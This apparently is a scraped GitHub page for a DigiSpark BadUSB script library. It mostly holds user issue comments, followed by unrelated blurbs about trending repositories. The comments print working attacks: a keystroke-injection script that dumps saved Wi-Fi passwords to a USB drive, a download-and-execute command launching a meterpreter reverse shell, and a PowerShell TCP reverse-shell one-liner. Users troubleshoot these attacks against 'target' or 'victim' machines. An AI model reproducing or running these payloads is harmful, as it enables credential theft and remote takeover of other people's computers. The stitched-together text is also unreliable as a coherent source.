// DigiKeyboard.print("Stop-Process -Name PowerShell -Force");
// DigiKeyboard.delay(500);
// DigiKeyboard.sendKeyStroke(KEY_ENTER);
for (;;) {
/empty/
}
}`
Write your own DigiSpark HID script or convert a USB Rubber Ducky one by hand. Test it and submit a pull request to make our Script Library grow! See CONTRIBUTING.md for instructions on submitting new scripts.😋
I've been trying to get some of your scripts working on my new digispark, and i cant get the wifi profile grabber to work, it just dosent create any file whatsoever on any drive.
im using this script exactly, my usb is called MYUSB
`#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\windows\temp\temp.csv; cp c:\windows\temp\temp.csv -destination $((gwmi -Query \"Select * from Win32_LogicalDisk where VolumeName=MYUSB).DeviceID); ri c:\windows\temp\temp.csv -force"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}`
Hello, the code works perfectly but the file temp.csv is always blank (0 bytes). Why?
The wifi mailer doesn't work because of google less secure app option
I developed and integrated your scripts into my project
Thank you for the code and the idea
How can I change the script on my device?
C:\Users\danil\AppData\Local\Temp>tmp.cmd
C:\Users\danil\AppData\Local\Temp>start C:/Windows/System32/Ribbons.scr /s
C:\Users\danil\AppData\Local\Temp>powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.101 -Lport 444 -Force"
Invoke-Shellcode : A parameter cannot be found that matches parameter name 'Payload'.
At line:1 char:90
~~~~~~~~
Hello,
I've been postponing working with this ATtiny85 board for a while now due to the incompatibility with non US keyboards. (Is there something I can do to have this scripts running smoothly in a PT-PT Keyboard?)
Characters like " are converted to ª when I plug the ATtiny85.
Thank's for your help.
I uploaded the script on the digispark, plugged it in the target machine, everything is performed with no problem except nothing happens after the powershell code is written. I think that the code added after the $code variable is what causes it to not work correctly since it works fine without it (just needs input from user to stop the keylogger). I am not getting any errors, just nothing (no files created...). Is the code for the timeout no longer valid ?
Reverse shell script (.ps1) not working. I'm thinking about and I believe it is some problem in powershell threat detection.
Error Log
`+ IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.co ...
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : MissingExpressionAfterToken,Microsoft.PowerShell.Commands.InvokeExpressionCommand`
I get this error :
"WiFi_Profile_Mailer:70: error: unterminated argument list invoking macro "F"
exit status 1
unterminated argument list invoking macro "F""
and the line in red is the " for(;;){ /empty/ }" any help ?
I can connect to the web server with my browser just fine, but when i run the default URL in the script, i receive this powershell error message
Exception calling "DownloadFile" with "2" argument(s): "The request was aborted: Could not create SSL/TLS secure
channel."
At line:1 char:1
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
hey dude im getting problem with Rapid_Shell
im getting this error
can not find a parameter corresponding to the name ( payload )
Hi, I entered my username and password but I don't receive any email on the selected account. i also tried to change receiver and sender mail but nothing happens. ideas? thanks
thanks every one that help to convert rubber ducky payloads to digispark
Hey! I've been running into issues when I run the following on powershell $sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
on my main machine (target machine/victim).
I get an error thrown at me as shown in the screenshots attached. I have my VM running kali on a win10 laptop listening for a connection and through armitage I can see a sender request but then the connection stops and it says "Connection Failed - Reason(Died)" while on the host(target) I get the following errors:
My intention is to create a script similar to your reverse shell script, but instead of downloading the shell from a web server, it is created as a ps1 file and executed through powershell on the target machine.
In this manner, the target machine does not need to download the reverse shell from a web server and instead, it creates the payload on the fly, executes it and hides it.
I am a complete beginner when it comes to powershell and scripting. My background is in SQL, C#, Javascript, Java and such so apologies if this is a stupid issue!
Any help would be GREATLY appreciated!
If I manage to pull this off as 'my' first script, I will gladly share it with the digispark community! :)
The link you've used in Rapid Shell (http://bit.ly/14bZZ0c) got blacklisted in bit.ly, how do i access it? I believe it's something necessary.
When I uploaded the code the code to open powers hell won't work. Once I changed it and it comes to send the email then powershell gives me an error message and coldest and stops the code
Hey man, i've copied the rapid shell, reverse shell, exec powershell, windows jammer, wifi email and the wifi grab and save into Notepad++. just wondering what type they should be saved as? I have them as bash currently.
Regards.
I've been messing around with this script for hours and I finally got it to send me an email. But when I go to check my email, there is nothing inside the message. Could I get some help please.
BTW I have a pretty new machine and have delays on, and I allowed less secure apps on google.
P.S. I also have a few lines of red text right before my second power shell closes. I dont know if that helps you out or not,, just wanted to address that.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.